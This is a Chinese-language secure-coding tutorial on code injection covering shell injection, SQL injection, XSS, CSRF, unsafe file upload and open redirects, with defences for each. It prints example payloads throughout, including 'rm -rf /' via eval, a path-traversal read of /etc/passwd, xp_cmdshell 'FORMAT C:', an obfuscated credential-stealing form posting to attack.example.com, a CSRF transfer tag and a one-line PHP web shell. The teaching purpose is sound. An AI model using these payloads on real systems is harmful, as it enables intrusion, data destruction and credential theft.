程式設計師疫苗:程式碼注入
iisadmin如何關閉
Shell注入
我們先來看一段perl的程式碼:
use
CGI qw(:standard);
$name = param(‘name’);
$nslookup = “/path/to/nslookup”;
print header;
if
(open($fh, “$nslookup $name|”)) {
while
(<$fh>) {
print escapeHTML($_);
print “
\n”;
}
close($fh);
}
如果使用者輸入的引數是:
coolshell。cn%20%3B%20/bin/ls%20-l
那麼,這段perl的程式就成了:
/path/to/nslookup coolshell。cn ; /bin/ls -l
我們再來看一段PHP的程式:
$myvar = ‘somevalue’;
$x = $_GET[‘arg’];
eval(‘$myvar = ’ 。 $x 。 ‘;’);
“eval“的引數將會視同PHP處理,所以額外的命令可被新增。例如:如果”arg”如果被設成”10; system(‘rm -rf /’)“,後面的”system(‘rm -rf /’)“程式碼將被執行,這等同在伺服器上執行開發者意料外的程式。(關於rm -rf /,你懂的,可參看“一個空格引發的悲劇”)
再來看一個PHP的程式碼
$isadmin= false;
。。。
。。。
foreach
($_GET
as
$key => $value) {
$$key = $value;
}
如果攻擊者在查詢字串中給定”isadmin=1″,那$isadmin將會被設為值 “1”,然後攻擊值就取得了網站應用的admin許可權了。
再來看一個PHP的示例:
$action = ‘login’;
if
(__isset( $_GET[‘act’] ) )
$action = $_GET[‘act’];
require
( $action 。 ‘。php’ );
這個程式碼相當危險,攻擊者有可能可以幹這些事:
/test。php?act=
http://evil/exploit
– 注入遠端機器上有漏洞的檔案。
/test。php?act=
/home/www/bbs/upload/exploit
– 從一個已經上載、叫做exploit。php檔案執行其程式碼。
/test。php?act=
../../../../etc/passwd%00
– 讓攻擊者取得該UNIX系統目錄檢索下密碼檔案的內容。一個使用空元字元以解除。php副檔名限制,允許訪問其他非 。php 結尾檔案。 (PHP預設值”magic_quotes_gpc = On”可以終止這種攻擊)
這樣的示例有很多,只要你的程式有諸如:system()、StartProcess()、java。lang。Runtime。exec()、System。Diagnostics。Process。Start()以及類似的應用程式介面,都是比較危險的,最好不要讓其中的字串去拼裝使用者的輸入。
PHP提供escapeshellarg()和escapeshellcmd()以在呼叫方法以前進行編碼。然而,實際上並不建議相信這些方法是安全的 。
SQL注入
SQL injection,是發生於應用程式之資料庫層的安全漏洞。簡而言之,是在輸入的字串之中注入SQL指令,在設計不良的程式當中忽略了檢查,那麼這些注入進去的指令就會被資料庫伺服器誤認為是正常的SQL指令而執行,因此遭到破壞。
在應用程式中若有下列狀況,則可能應用程式正暴露在SQL Injection的高風險情況下:
在應用程式中使用字串聯結方式組合SQL指令(如:引號沒有轉義)。
在應用程式連結資料庫時使用許可權過大的帳戶(如:很多開發人員都喜歡用sa(最高許可權的系統管理員帳戶)連線Microsoft SQL Server資料庫)。
在資料庫中開放了不必要但權力過大的功能(例如在Microsoft SQL Server資料庫中的xp_cmdshell延伸預存程式或是OLE Automation預存程式等)
過於信任使用者所輸入的資料,未限制輸入的字元數,以及未對使用者輸入的資料做潛在指令的檢查。
例程:
某個網站的登入驗證的SQL查詢程式碼為
strSQL = “SELECT * FROM users
WHERE (name = ‘” + userName + “’) and (pw = ‘”+
passWord
+“’);”
使用者在登入時惡意輸入如下的的使用者名稱和口令:
userName = “‘ OR ’1‘=’1”;
passWord
= “‘ OR ’1‘=’1”;
此時,將導致原本的SQL字串被解析為:
strSQL = “SELECT * FROM users
WHERE (name = ‘’ OR ‘1’=‘1’) and (pw = ‘’ OR ‘1’=‘1’);”
也就是實際上執行的SQL命令會變成下面這樣的,因此導致無帳號密碼,也可登入網站。
strSQL = “SELECT * FROM users;”
這還不算惡劣的,真正惡劣的是在你的語句後再加一個自己的語句,如:
username= “‘ ; DELETE FROM users; ——”;
這樣一來,要麼整個資料庫的表被人盜走,要麼被資料庫被刪除。
所以SQL注入攻擊被俗稱為駭客的填空遊戲
。你是否還記得酷殼這篇文章裡的SQL注入?
當他們發現一個網站有SQL注入的時候,他們一般會幹下面的事:
盜取資料表中的資料,例如個人機密資料(信用卡,身份證,手機號,通訊錄……),帳戶資料,密碼等,獲得使用者的資料和資訊後對這些使用者進行“社會工程學”活動(如:我前兩天在微信上親身經歷)。
取得系統管理員許可權(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。
在資料庫中的資料中插入一些HTML/JS程式碼,有可能得以在網頁加入惡意連結以及XSS,這樣一來就讓訪問者被黑。
經由資料庫伺服器提供的作業系統支援,讓駭客得以修改或控制作業系統(例如:MS SQL Server的 xp_cmdshell “net stop iisadmin”可停止伺服器的IIS服務)。甚至破壞硬碟資料,癱瘓全系統(例如xp_cmdshell “FORMAT C:”)。
現在的駭客比較壞,癱瘓系統的事,他們乾的越來越少,因為沒什麼利益,他們希望透過獲取使用者的帳號資訊後,轉而攻擊使用者別的帳號,如遊戲帳號,網銀帳號,QQ帳號等等他們可以獲利的事情(這就是為什麼我希望大家在不站點上使用不同的口令,甚至不同的使用者資訊的原因)
如何避免
在組合SQL字串時,先針對所傳入的引數作字元轉義(如:將單引號字元取代為連續2個單引號字元)。如果使用PHP開發網頁程式的話,亦可開啟PHP的Magic quote功能自動將所有的網頁傳入引數,將單引號字元取代為連續2個單引號字元。
如果可能應該過濾以下字元:分號“;”,兩個減號“–”,單引號“’”,註釋“/* … */”
。(當然,因為注入攻擊一般用閉合的引號來玩,所以把引號轉義了應該就沒有什麼問題了)
更換危險字元。例如在PHP透過addslashes()函式保護SQL注入。
限制使用者輸入的長度,限制使用者輸入的取值範圍。
為當前應用建立許可權比較小的資料庫使用者,這樣不會導致資料庫管理員丟失。
把資料庫操作封裝成一個Service,對於敏感資料,對於每個客戶端的IP,在一定時間內每次只返回一條記錄。這樣可以避免被拖庫。
跨網站指令碼注 入
跨網站指令碼
(
Cross-site
scripting,通常簡稱為XSS或跨站指令碼或跨站指令碼攻擊)是一種網站應用程式的安全漏洞攻擊,是程式碼注入的一種。它透過巧妙的方法注入惡意指令程式碼到網頁,使使用者載入並執行攻擊者惡意製造的網頁程式。這些惡意網頁程式通常是JavaScript,但實際上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻擊成功後,攻擊者可能得到包括但不限於更高的許可權(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。
假如我們有這樣一段PHP的程式碼:
$username = $_GET[’username‘];
echo ’
那麼我們可以這樣來注入:
http://trustedSite。example。com/welcome。php?username=
甚至這樣:
http://trustedSite。example。com/welcome。php?username=
這會讓網頁顯示以下內容:
<
div
class=“header”> Welcome,
<
div
id=“stealPassword”>Please Login:
<
form
name=“input” action=“attack。example。com/stealPassword。php” method=“post”>
Username: <
input
type=“text” name=“username” />
<
br
/>
Password: <
input
type=“password” name=“password” />
<
input
type=“submit” value=“Login” />
form
>
div
>
div
>
注入的程式碼還有可能變種為如下這種更為隱蔽的方式(unicode碼):
trustedSite。example。com/welcome。php?username=
document。write(‘\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D’);
XSS的攻擊主要是透過一段JS程式得用使用者已登入的cookie去模擬使用者的操作(甚至偷使用者的cookie)
。這個方式可以讓使用者在自己不知情的情況下操作了自己不期望的操作。如果是網站的管理員中招,還有可能導致後臺管理許可權被盜。關於其中的一些細節可以參看《新浪微博的XSS攻擊》一文。XSS攻擊是程式設計師有一糊塗就很容易犯的錯誤,你還可以看看網上的《騰訊微博的XSS攻擊》。
XSS攻擊在論壇的使用者籤檔裡面(使用img標籤)也發生過很多次,包括像一些使用bcode的網站,很有可能會被注入一些可以被瀏覽器用來執行的程式碼。包括CSS都有可能被注入javascript程式碼。
不要以為XSS攻擊是我們的程式沒有寫好,有時候,我們會引用別人站點上的js檔案,比如:放一個天氣預報的小Widget的js,或是一個流量監控,或是一段廣告的js檔案。你不知道這些東西是不是有問題,如果有惡意的話,這就是你自己主動注入攻擊程式碼了。
另外,XSS攻擊有一部分是和瀏覽器有關的。
比如,如下的一些例子,你可能從來都沒有想過吧?(
更多的例子可以參看酷殼很早以前的這篇文章《瀏覽器HTML安全列表》
)
<
table
background=”javascript:alert(1)”>
<
meta
charset=”mac-farsi”>¼script¾alert(1)¼/script¾
<
img
alt="程式設計師疫苗:程式碼注入" data-isLoading="0" src="/static/img/blank.gif" data-src=”javascript:alert(1)”>
XSS攻擊通常會引發CSRF攻擊。CSRF攻擊主要是透過在A站上設定B站點上的連結,透過使用使用者在B站點上的登入且還沒有過期的cookie,從而使得使用者的B站點被攻擊。(這得益於現在的多Tab頁的瀏覽器,大家都會同時開啟並登入很多的網站,而這些不同網站的頁面間的cookie又是共享的)
於是,如果我在A站點內的某個貼子內注入這麼一段程式碼:
<
img
alt="程式設計師疫苗:程式碼注入" data-isLoading="0" src="/static/img/blank.gif" data-src=“http://bank。example。com/transfer?account=XXX&amount=1000000&for=haoel”>
很有可能你就在訪問A站的這個貼子時,你的網銀可能向我轉了一些錢。
如何避免
要防止XSS攻擊,一般來說有下面幾種手段:
嚴格限制使用者的輸入。最好不要讓使用者輸入帶標籤的內容。最好不要讓使用者使用一些所見即所得的HTML編輯器。
嚴格過濾使用者的輸入。如:
PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
Python的cgi。escape()
ASP的Server。HTMLEncode()。
Node。js的node-validator。
Java的xssprotect。
在一些關鍵功能,完全不能信任cookie,必需要使用者輸入口令。如:修改口令,支付,修改電子郵件,檢視使用者的敏感資訊等等。
限制cookie的過期時間。
對於CSRF攻擊,一是需要檢查http的reference header。二是不要使用GET方法來改變資料,三是對於要提交的表單,後臺動態生成一個隨機的token,這個token是攻擊者很難偽造的。(對於token的生成,建議找一些成熟的lib庫)
另外,你可能覺得網站在處理使用者的表單提交就行了,其實不是,
想一想那些Web Mail,我可以透過別的伺服器向被攻擊使用者傳送有JS程式碼、圖片、Flash的郵件到你的郵箱,你開啟一看,你就中招了
。所以,WebMail一般都禁止顯示圖片和附件,這些都很危險,只有你完全瞭解來源的情況下才能開啟。
電子郵件的SMTP協議太差了,基本上無法校驗其它郵件伺服器的可信度,我甚至可以自己建一個本機的郵件伺服器,想用誰的郵件地址發信就用誰的郵件地址發信
。
所以,我再次真誠地告訴大家,請用gmail郵箱
。別再跟我說什麼QQMail之類的好用了。
上傳檔案
上傳檔案是一個很危險的功能,尤其是你如果不校驗上傳檔案的型別的話,你可能會中很多很多的招,這種攻擊相當狠。
試想,如果使用者上傳給你一個PHP、ASP、JSP的檔案,當有人訪問這個檔案時,你的伺服器會解釋執行之,這就相當於他可以在你的伺服器上執行一段程式。這無疑是相當危險的。
舉個例子:
上傳頁面1
<
form
action=“upload_picture。php” method=“post” enctype=“multipart/form-data”>
要上傳的檔案:
<
input
type=“file” name=“filename”/>
<
br
/>
<
input
type=“submit” name=“submit” value=“Submit”/>
form
>
後臺上傳檔案的PHP程式1
$target = “pictures/” 。 basename($_FILES[’uploadedfile‘][’name‘]);
if
(move_uploaded_file($_FILES[’uploadedfile‘][’tmp_name‘], $target)){
echo “圖片檔案上傳成功”;
}
else
{
echo “圖片檔案上傳失敗”;
}
假如我上傳了一個PHP檔案如下:
檔名MALICIOUS。PHP1
<?php
system($_GET[’cmd‘]);
?>
那麼,我就可以透過如下的URL訪問攻擊你的網站了:
1
http://server。example。com/upload_dir/malicious。php?cmd=ls%20-l
抵禦這樣的攻擊有兩種手段:
1)限制上傳檔案的副檔名。
2)千萬不要使用root或Administrator來執行你的Web應用。
URL跳轉
URL跳轉很有可能會成為攻擊利用的工具。
比如下面的PHP程式碼:
$redirect_url = $_GET[’url‘];
header(“Location: ” 。 $redirect_url);
這樣的程式碼可能很常見,比如當用戶在訪問你的網站某個頁觀的時候沒有許可權,於是你的網站跳轉到登入頁面,當然登入完成後又跳轉回剛才他訪問的那個頁面。一般來說,我們都會在跳轉到登入頁面時在URL里加上要被跳轉過去的網頁。於是會出現上述那樣的程式碼。
於是我們就可以透過下面的URL,跳轉到一個惡意網站上,而那個網站上可能有一段CSRF的程式碼在等著你,或是一個釣魚網站。
http://bank。example。com/redirect?url=http://attacker。example。net
這種攻擊具有的迷惑性在於,使用者看到的http://bank。example。com,
以為是一個合法網站,於是就點了這個連結,結果透過這個合法網站,把使用者帶到了一個惡意網站,而這個惡意網站上可能把頁面做得跟這個合法網站一模一樣,你還以為訪問的是正確的地方,結果就被釣魚了
。
解決這個問題很簡單,你需要在你的後臺判斷一下傳過來的URL的域名是不是你自己的域名。
你可以看看Google和Baidu搜尋引擎的連結跳轉,百度的跳轉連結是被加密過的,而Google的網站連結很長,裡面有網站的明文,但是會有幾個加密過的引數,如果你把那些引數移除掉,Google會顯示一個重定向的提醒頁面。(我個人覺得還是Google做得好)